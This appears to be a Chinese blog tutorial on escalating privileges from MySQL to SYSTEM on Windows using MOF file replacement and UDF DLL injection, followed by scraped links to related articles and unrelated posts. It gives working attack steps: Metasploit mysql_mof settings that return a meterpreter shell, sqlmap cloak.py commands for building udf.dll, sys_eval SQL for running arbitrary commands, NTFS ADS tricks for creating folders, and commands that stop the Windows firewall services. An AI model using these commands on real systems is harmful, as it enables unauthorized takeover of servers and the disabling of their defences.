MySQL-UDF和MOF提权
MOF提权
MOF文件是mysql数据库的扩展文件(在c:/windows/system32/wbem/mof/nullevt.mof)
叫做”托管对象格式”,其作用是每隔五秒就会去监控进程创建和死亡
MOF提权原理
MOF文件既然每五秒就会执行,而且是系统权限,我们通过mysql将文件写入一个MOF文件替换掉原有的MOF文件,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。
利用条件
Windows<=2003
mysql在c:windows/system32/mof目录有写权限
已知数据库账号密码
这个提权方式条件非常严苛,数据库在system32写文件这个条件一般很难达到。
而且较新的系统无法使用MOF提权
技巧:
要是能够通过网页连接管理(phpmyadmin),则可以修改host为“%”并刷新权限后,则可以通过msf等工具远程连接数据库。
默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置
Msf直接mof提权
Msf 下有Mof 提权模块 ,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关
执行成功后会直接反弹 shell 到 meterpreter
use exploit/windows/mysql/mysql_mofsetrhost 192.168.157.1 #设置需要提权的远程主机IP地址setrport 3306 #设置mysql的远程端口setpasswordroot #设置mysql数据库root密码setusername root #设置mysql用户名options #查看设置run 0
UDF提权
UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数
用户可以通过自己增加函数对mysql功能进行扩充,文件后缀为.dll
提权原理
利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)
当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。
这样我们自定义的函数才被当作本机函数执行。
在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而提权
利用条件
windows2003、windowsXP、windows7
已知mysql中root的账号密码
拥有mysql的insert和delete权限
mysql版本 < 5.2 , UDF导出到系统目录c:/windows/system32/
mysql版本 > 5.2 ,UDF导出到安装路径MySQL\Lib\Plugin\
可以直接查询插件安装目录:
show variables like %plugin%
上传udf.php到网站中
在udf.php中将udf.dll导出到插件目录,udf.dll可以用sqlmap生成
1.首先进入到
sqlmap\extra\cloak\cloak
目录下2.打开命令终端,执行命令:
python cloak.py -d -i \sqlmap目录\udf\mysql\windows\32\lib_mysqludf_sys.dll_
3.将生成的lib_mysqludf_sys.dll改名为udf.dll上传到目标数据库
4.创建相应函数:
create function sys_eval returns string soname 'udf.dll';
5.执行命令:
select sys_eval(‘whoami’);
6.删除函数:
drop function sys_eval;
在将udf.dll文件导出到lib\plugin目录下时,如果plugin不存在,可以用NTFS ADS流来创建文件夹并导入dll
select @@basedir; //查找到mysql的目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录
连不上3389可以先停止windows防火墙和筛选
select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’);
函数说明:函数说明:
sys_eval
,执行任意命令,并将输出返回。
sys_exec
,执行任意命令,并将退出码返回。
sys_get
,获取一个环境变量。
sys_set
,创建或修改一个环境变量。END
一个MySQL自动化提权工具:Github链接
Refers
mysql数据库提权总结
Mysql udf提权(Linux平台)
http://vinc.top/2017/04/19/mysql-udf%E6%8F%90%E6%9D%83linux%E5%B9%B3%E5%8F%B0/
那些提权测试中的奇淫技巧
MySQL-UDF和MOF提权的更多相关文章
- MySQL提权之mof提权
mof提权原理 关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次 ...
- Mof提权科普
今天再拿一个站的时候遇到了很多问题,拿站的过程就不说了,其中要用到mof提权,不管能不能提下,我进行一个mof提权的科普 这里我综合各类mof提权进行了 综合 首先说一下,无shell情况下的mysq ...
- mof提权原理及实现
关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的 ...
- mof提权原理及其过程
mof提权的原理: mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就 ...
- [原创]MOF提权下载者代码
0x001 网上的mof提权 调用的是js执行添加用户 而且有个缺陷 还不能一步到位...目标3389也连不上...也不知道上面安装了什么软件...毛然添加用户也不好比如有个类似狗之类的拦截添加用户 ...
- mysql之mof提权详解
原理解读: Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件: 方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe ...
- mof提权带回显带清楚命令版本.php
<?php $path="c:/caonimei.txt"; session_start(); if(!empty($_POST['submit'])){ setcookie ...
- mysql 漏洞利用与提权
判断MySQL服务运行的权限 1.查看系统账号,如果出现MySQL这类用户,意味着系统可能出现了降权. 2.看mysqld运行的priority值. 3.查看端口是否可外联. MySQL密码获取与破解 ...
- mysql以ROOT权限提权方法
今天feng问了一个问题,mysql root权限运行,直接root服务器吧,SSH登录 正好上网查一下相关的资料: mysql .x里面引入了一个system函数,这个函数可以执行系统命令,当mys ...
随机推荐
- C++性能榨汁机之虚函数的开销
C++性能榨汁机之虚函数的开销 来源 http://irootlee.com/juicer_vtable/ 虚函数的实现 虽然C++标准并没有规定编译器实现虚函数的方式,但是大部分编译器均是采用了虚 ...
- 【opencv 源码剖析】 三、 morphOp 数学形态学滤波函数, 腐蚀和膨胀就是通过这个函数得到的
// //_kernel : 形态学滤波的核 //anchor: 锚点再滤波核的位置 //iterations: 迭代次数 static void morphOp( int op, InputArra ...
- wepy2创建项目
1.首先 在桌面(自己选定目录下)新建一个文件夹,注意需要使用英文名. 2.Cmd中 进入到该文件目录下 3.安装 wepy 命令行工具. npm install wepy-cli -g wepy ...
- 如何用Visual Studio Code远程调试运行在服务器上的nodejs应用
假设我有一个nodejs应用,运行在AWS - 亚马逊云平台上(Amazone Web Service).我想用本地的Visual Studio Code来远程调试服务器端的nodejs应用. Vis ...
- 用最简单的代码写出banner图轮播效果
以下视频是由[赵一鸣随笔]博客提供的“用最简单的代码写出banner图轮播效果”. 查看全屏高清视频,请点击链接:http://www.zymseo.com/58.html
- Spring Cloud(六)服务网关 zuul 快速入门
服务网关是微服务架构中一个不可或缺的部分.通过服务网关统一向外系统提供REST API的过程中,除了具备服务路由.均衡负载功能之外,它还具备了权限控制等功能.Spring Cloud Netflix中 ...
- Image Processing and Analysis_8_Edge Detection:The Design and Use of Steerable Filters——1991
此主要讨论图像处理与分析.虽然计算机视觉部分的有些内容比如特 征提取等也可以归结到图像分析中来,但鉴于它们与计算机视觉的紧密联系,以 及它们的出处,没有把它们纳入到图像处理与分析中来.同样,这里面也有 ...
- kubernetes之node资源紧缺时pod驱逐机制
在系统硬件资源紧缺的情况下保证node的稳定性, 是kubelet需要解决的一个重要问题 1.驱逐策略 kubelet持续监控主机的资源使用情况, 一旦出现资源紧缺的迹象, kubelet就会主动终止 ...
- python+Appium自动化:toast定位
Toast简介 Toast是一种简易的消息提示框. 当视图显示给用户,在应用程序中显示为浮动.和Dialog不一样的是,它永远不会获得焦点,无法被点击. 用户将可能是在中间键入别的东西.Toast类的 ...
- 为什么说Redis是单线程的以及Redis为什么这么块
一.前言 近乎所有与Java相关的面试都会问到缓存的问题,基础一点的会问到什么是“二八定律”.什么是“热数据和冷数据”,复杂一点的会问到缓存雪崩.缓存穿透.缓存预热.缓存更新.缓存降级等问题,这些看似 ...